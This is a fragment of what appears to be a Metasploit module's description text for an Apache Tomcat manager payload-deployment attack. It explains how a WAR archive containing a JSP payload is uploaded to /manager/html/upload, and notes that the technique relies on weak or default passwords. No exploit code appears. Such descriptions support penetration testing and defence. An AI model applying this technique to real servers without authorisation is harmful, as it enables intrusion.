  'Description' => %q{
  This module can be used to execute a payload on Apache Tomcat servers that
  have an exposed "manager" application. The payload is uploaded as a WAR archive
  containing a jsp application using a POST request against the /manager/html/upload
  component.
  
  NOTE: The compatible payload sets vary based on the selected target. For
  example, you must select the Windows target to use native Windows payloads.

  # This is based on jduck's tomcat_mgr_deploy.
  # the tomcat_mgr_deploy o longer works for current versions of tomcat due to
  # CSRF protection tokens. Also PUT requests against the /manager/html/deploy
  # aren't allowed anymore.
  
  # There is no single vulnerability associated with deployment functionality.
  # Instead, the focus has been on insecure/blank/hardcoded default passwords.
